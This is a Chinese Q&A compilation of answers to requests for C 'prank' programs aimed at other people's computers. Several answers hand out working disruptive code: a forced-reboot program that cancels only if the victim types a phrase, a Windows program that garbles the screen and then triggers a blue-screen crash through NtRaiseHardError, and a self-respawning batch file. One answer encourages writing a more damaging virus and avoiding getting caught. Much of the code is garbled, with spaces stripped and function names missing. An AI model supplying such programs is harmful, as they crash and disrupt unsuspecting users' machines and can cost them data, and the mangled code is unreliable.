惡搞的c語言
『壹』 如何用c語言程序惡搞他人
如果初學c語言的話建議先學好語法,開始接觸c的時候都是控制台的,可以生成exe的但都是基於控制台的,學好語法才是最重要的,等到用c# vs2005的時候都是模塊話的,就可以實現你說的那樣的了。切記不要好高騖遠。扎實語法,當然你的想法很好。
『貳』 一個C語言惡搞程序
#include<stdio.h>
#include<string.h>//
intmain(void)
{
charch[8];
printf("請輸入您的名字拼音,我可以算出你的智商哦!");
while(1)//
{
scanf("%s",ch);//
if(!strcmp(ch,"langtian"))//
{
printf("真是個大帥哥啊,智商達1000 ");
}else{
printf("豬頭嗎? 豬頭呀! ");
}
}
return0;
}
『叄』 1021:惡搞指數
第二個用else if試試
『肆』 求一些惡搞程序的C語言源代碼
#include"stdio.h"
int main()
{int n;
char a[10];
printf("叫大哥,不叫就關機(你有30秒的時間,如果關閉本程序一樣要關機)\n");
system("shutdown -r");
while(1)
{printf("叫:");
scanf("%s",&a);
n=strcmp(a,"大哥");
if(n==0)
{system("shutdown -a");
printf("嗯,真乖!!!爽!哈哈哈!!!");
break;
}
}
}
『伍』 求一個C語言整人代碼!!!
先上代碼
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
運行這段代碼首先會花屏並閃屏,一分鍾後藍屏。
效果圖:
『陸』 求一段整人C語言小程序
給你最簡單的,那有時間編那個,這個文件是批處理,打開記事本,輸入第一行@echo off,第二行 start cmd,第三行,%0然後保存成文件類型為bat文件。然後你打開那個文件試一試。保證,你會很爽的,放心只是惡搞。
『柒』 惡搞C語言 高手的進
你拷的代碼少了個頭文件"windows.h"
#include "stdio.h"
#include "windows.h"
int main()
{
int n;
char a[10];
printf("叫才哥,不叫就關機(你有30秒的時間,如果關閉本程序一樣要關機)\n");
system("shutdown -r");
while(1)
{
printf("叫:");
scanf("%s",&a);
n=strcmp(a,"才哥");
if(n==0)
{
system("shutdown -a");
printf("嗯,真乖!!!爽!哈哈哈!!!");
}
break;
}
return 0;
}
這個是原代碼
system("shutdown -r")等同於開始->運行->shutdown -r
你還可以改成shutdown -s -t 0
這樣就可以立刻關機
『捌』 誰能教我用c語言寫簡單的搞笑的病毒
說句實話,我很反對一些人自認為自己編程厲害就寫一些弱智的東西去害電腦新手,其實拿給真正高手一看那些自稱是病毒的東西完全沒什麼技術含量。
要寫病毒就寫個厲害點的。讓人真正頭痛的。。讓其他高手眼前一亮的。
還有就是自己不要被抓到,呵呵。。
『玖』 我現在手裡的幾個用C語言寫的惡搞代碼,我想問一下那個怎麼用復制到什麼裡面文件後綴是什麼
#include<stdio.h>
void xu(int n);
void main()
{
int n;
do
{
printf("Input n:\n");
scanf("%d",&n);
}while(n>99999);
xu(n);
}
void xu(int n)
{
int a,i=0,count=0;
int b[10];
while(n!=0)
{
a=n%10;
n=n/10;
count++;
b[i]=a;
i++;
printf("%d",a);
}
printf("\n");
printf("該數為%d位數\n",count);
for(i=count-1;i>=0;i--)
printf("%d\n",b[i]);
printf("下面是奇偶性判斷:\n");
if(b[count-1]/2==0)
printf("1\n");
else
printf("0\n");
}
我用的vc6.0可以處理漢字,如果你用的tc的話自己把漢字換成其他字母描述,否則就是亂碼!希望滿意,不曉得滿足你的最簡不
我可以幫助你,你先設置我最佳答案後,我網路Hii教你。